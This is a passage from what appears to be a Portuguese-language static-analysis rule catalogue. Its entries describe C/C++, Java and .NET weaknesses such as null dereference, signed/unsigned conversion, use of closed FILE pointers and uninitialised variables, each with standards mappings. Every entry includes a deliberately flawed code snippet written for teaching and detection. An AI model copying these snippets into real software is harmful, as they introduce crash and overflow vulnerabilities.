Exemplo 4: No código a seguir, o programador define explicitamente a variável ptr como NULL. Mais tarde, o programador desreferencia ptr antes de verificar o objeto em busca de um valor null.


*ptr = NULL;
...
ptr->field = val;
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [14] CWE ID 476
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [13] CWE ID 476
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [15] CWE ID 476
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [11] CWE ID 476
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [12] CWE ID 476
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [21] CWE ID 476
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 11.1.7 Business Logic Security Requirements (L2 L3)
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cpp.redundant_null_check
Abstract
O programa pode desfazer a referência a um ponteiro nulo, causando uma exceção de ponteiro nulo.
Explanation
Exceções de ponteiro nulo ocorrem geralmente quando uma ou mais suposições do programador são violadas. Especificamente, os erros de cancelamento de referência após a verificação ocorrem quando um programa faz uma verificação explícita em busca de valores null, mas prossegue para cancelar a referência ao objeto quando se sabe que ele é null. Erros desse tipo são frequentemente o resultado de um erro de digitação ou de uma desatenção do programador.

A maioria dos problemas de ponteiro nulo resulta em problemas gerais de confiabilidade de software, mas, se os invasores puderem intencionalmente fazer com que o programa desfaça a referência a um ponteiro nulo, eles poderão usar a exceção resultante para formular um ataque de negação de serviço ou fazer com que o aplicativo revele informações de depuração que serão valiosas no planejamento de ataques subsequentes.

Exemplo 1: No código a seguir, o programador confirma que a variável foo é null e depois a desreferencia erroneamente. Se a variável foo for null quando for verificada na instrução if, ocorrerá um cancelamento de referência null, provocando assim uma exceção de ponteiro nulo.


if (foo == null) {
foo.setBar(val);
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [14] CWE ID 476
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [13] CWE ID 476
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [15] CWE ID 476
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [11] CWE ID 476
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [12] CWE ID 476
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [21] CWE ID 476
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 11.1.7 Business Logic Security Requirements (L2 L3)
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.internal.java.null_dereference_dereference_after_check
Abstract
A função retorna um unsigned char convertido em int, mas o valor de retorno é atribuído a um tipo char.
Explanation
Quando um caractere sem sinal convertido em inteiro é atribuído a um caractere com sinal, seu valor pode ser indistinguível de EOF.

Exemplo 1: O código a seguir lê um caractere e o compara com EOF.


char c;

while ( (c = getchar()) != '\n' && c != EOF ) {
...
}


Nesse caso, o valor de retorno de getchar() é convertido em char e comparado com EOF (um int). Supondo que c seja um valor de 8 bits com sinal e EOF seja um valor de 32 bits com sinal, se getchar() retornar um caractere representado por 0xFF, o valor de c será o sinal estendido para 0xFFFFFFFF em comparação com EOF. Como EOF é normalmente definido como -1 (0xFFFFFFFF), o loop terminará erroneamente.
References
[1] Distinguish between characters read from a file and EOF or WEOF CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 192
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 7.5, Rule 7.6, Rule 10.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 7.0.5, Rule 7.0.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3550 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3550 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3550 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3550 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3550 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3550 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3550 CAT I
desc.structural.cpp.type_mismatch_integer_to_character
Abstract
A função é declarada para retornar um valor sem sinal, mas em alguns casos ela tenta retornar um valor negativo.
Explanation
É perigoso depender de conversões implícitas entre números com e sem sinal, pois o resultado pode assumir um valor inesperado e violar suposições fracas feitas em outra parte do programa.

Exemplo 1: Neste exemplo, a variável amount pode conter um valor negativo ao ser retornada. Como a função é declarada para retornar um inteiro sem sinal, amount será implicitamente convertido em um valor sem sinal.


unsigned int readdata () {
int amount = 0;
...
if (result == ERROR)
amount = -1;
...
return amount;
}


Se a condição de erro no Example 1 for atendida, o valor de retorno de readdata() será 4.294.967.295 em um sistema que usa inteiros de 32 bits.

A conversão entre valores com e sem sinal pode levar a uma variedade de erros, mas, sob o ponto de vista da segurança, está mais comumente associada a vulnerabilidades de estouro de inteiros e de buffer overflow.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 195
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 7.5, Rule 7.6, Rule 10.3, Rule 21.18
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 7.0.5, Rule 7.0.6
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3550 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3550 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3550 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3550 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3550 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3550 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3550 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002590 CAT I
desc.structural.cpp.type_mismatch_negative_to_unsigned
Abstract
Uma variável não assinada recebe um número assinado.
Explanation
É perigoso depender de conversões implícitas entre números com e sem sinal, pois o resultado pode assumir um valor inesperado e violar suposições fracas feitas em outra parte do programa.

Exemplo 1: Neste exemplo, dependendo do valor de retorno de accecssmainframe(), a variável amount pode conter um valor negativo ao ser retornada. Como a função é declarada para retornar um valor sem sinal, amount será implicitamente convertido em um número sem sinal.


unsigned int readdata () {
int amount = 0;
...
amount = accessmainframe();
...
return amount;
}


Se o valor de retorno de accessmainframe() for -1, o valor de retorno de readdata() será 4.294.967.295 em um sistema que usa inteiros de 32 bits.

A conversão entre valores com e sem sinal pode levar a uma variedade de erros, mas, sob o ponto de vista da segurança, está mais comumente associada a vulnerabilidades de estouro de inteiros e de buffer overflow.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 195
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 7.5, Rule 7.6, Rule 10.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 7.0.5, Rule 7.0.6
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3550 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3550 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3550 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3550 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3550 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3550 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3550 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002590 CAT I
desc.structural.cpp.type_mismatch_signed_to_unsigned
Abstract
O comportamento dessa função é indefinido, a menos que seu parâmetro de controle esteja definido como um valor específico.
Explanation
A Linux Standard Base Specification 2.0.1 para libc impõe restrições nos argumentos para algumas funções internas [1]. Se essas restrições não forem atendidas, o comportamento das funções não será definido.


O valor 1 sempre deve ser transmitido ao primeiro parâmetro (o número de versão) da seguinte função do sistema de arquivos:


__xmknod


O valor 2 sempre deve ser transmitido ao terceiro parâmetro (o argumento de grupo) das seguintes funções de cadeia de caracteres largos:


__wcstod_internal
__wcstof_internal
_wcstol_internal
__wcstold_internal
__wcstoul_internal


O valor 3 sempre deve ser transmitido como o primeiro parâmetro (o número de versão) das seguintes funções do sistema de arquivos:


__xstat
__lxstat
__fxstat
__xstat64
__lxstat64
__fxstat64

References
[1] The Linux Standard Base Specification 2.0.1, Interfaces Definitions for libc.
[2] Standards Mapping - Common Weakness Enumeration CWE ID 475
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
desc.semantic.cpp.undefined_behavior
Abstract
O aplicativo usa uma atribuição que desreferencia um objeto FILE do sistema.
Explanation
Dependendo do compilador C específico em uso, o endereço de um objeto FILE do sistema pode ser significativo para o uso do objeto FILE como um fluxo. Usar uma cópia do objeto FILE sem o endereço associado pode levar a um comportamento indefinido, resultando em um possível vazamento de informações do sistema, uma falha do sistema ou na capacidade de um agente mal-intencionado ler ou editar arquivos a seu critério.

Exemplo 1: O código a seguir mostra um objeto FILE do sistema que é desreferenciado e copiado por valor.


FILE *sysfile = fopen(test.file, "w+");
FILE insecureFile = *sysfile;


Como sysfile é desreferenciado na atribuição de insecureFile, o uso de insecureFile pode resultar em uma ampla variedade de problemas.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 706
[2] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.5
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.5
desc.structural.cpp.undefined_behavior_file_pointer_dereference
Abstract
O aplicativo usa uma operação de arquivo em um ponteiro de arquivo fechado.
Explanation
A realização de operações de arquivo em um objeto FILE do sistema após seu fluxo associado ser fechado resulta em comportamento indefinido. Dependendo do compilador C específico em uso, a operação do arquivo pode causar uma falha no sistema ou até mesmo resultar na modificação ou leitura do mesmo arquivo ou de um arquivo diferente.

Exemplo 1: O código a seguir mostra uma tentativa de ler um objeto FILE do sistema após o fluxo correspondente ser fechado.


FILE *sysfile = fopen(test.file, "r+");
res = fclose(sysfile);
if(res == 0){
printf("%c", getc(sysfile));
}


Como a função getc() é executada após o fluxo de arquivo para sysfile ser fechado, getc() resulta em comportamento indefinido e pode causar uma falha no sistema ou possível modificação ou leitura do mesmo arquivo ou de um arquivo diferente.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 910
[2] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.6
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.6
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
desc.controlflow.cpp.undefined_behavior_file_pointer_use_after_close
Abstract
Excluir explicitamente um ponteiro gerenciado fará com que o programa trave ou apresente outros tipos de comportamentos impróprios.
Explanation
Excluir um ponteiro gerenciado fará com que o programa trave ou execute ações impróprias quando, mais tarde, o código de gerenciamento de ponteiro supor que o ponteiro ainda é válido. O exemplo a seguir ilustra o erro.


std::auto_ptr<foo> p(new foo);
foo* rawFoo = p.get();
delete rawFoo;


A única exceção a essa regra é quando uma classe de ponteiro gerenciado oferece suporte a uma operação de "separação", permitindo que o programador assuma o controle de gerenciamento da memória para o ponteiro especificado. Se o programa desconectar o ponteiro da classe de gerenciamento antes de chamar delete, essa classe não saberá mais usar o ponteiro.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cpp.redundant_delete
Abstract
O programa pode usar uma variável antes que ela seja inicializada.
Explanation
No .Net, variáveis estáticas são inicializadas com os respectivos valores padrão. No entanto, o uso dessas variáveis sem a inicialização pode levar a problemas baseados na lógica de negócios ou pode ser usado para a execução de um ataque de Negação de Serviço (DoS). Programas nunca devem usar o valor padrão uma variável.

Não é incomum os programadores usarem uma variável não inicializada no código que trata erros ou outras circunstâncias raras e excepcionais. Avisos de variáveis não inicializadas algumas vezes podem indicar a presença de um erro tipográfico no código.

Exemplo 1: O código a seguir será compilado pelo compilador .Net sem qualquer erro. No entanto, a instrução int a = (Int32)i + (Int32)j; a seguir lança uma exceção sem tratamento e trava o aplicativo em tempo de execução.

class Program
{
static int? i = j;
static int? j;
static void Main(string[] args)
{
j = 100;
int a = (Int32)i + (Int32)j;

Console.WriteLine(i);
Console.WriteLine(j);
Console.WriteLine(a);
}
}


A maioria dos problemas de variáveis não inicializadas resulta em problemas gerais de confiabilidade de software, mas, se os invasores puderem provocar intencionalmente o uso de uma variável não inicializada, talvez eles consigam lançar um ataque de negação de serviço fazendo com que o programa trave.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 457, CWE ID 824
[2] Standards Mapping - Common Weakness Enumeration Top 25 2024 [12] CWE ID 020, [20] CWE ID 119
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 9.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 9.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 8-5-1
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 11.6.2
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[12] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 665
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Smart Contract Weakness Classification SWC-109
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
